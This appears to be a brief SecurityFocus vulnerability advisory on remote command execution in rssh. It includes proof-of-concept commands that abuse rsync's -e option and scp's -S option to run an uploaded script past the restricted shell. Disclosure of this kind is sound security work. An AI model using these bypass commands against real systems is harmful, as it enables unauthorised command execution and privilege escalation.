source: https://www.securityfocus.com/bid/11792/info

rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

All versions of rssh are considered vulnerable at the moment.

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp' 

scp command.sh restricteduser@remotehost:/tmp/command.sh 

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'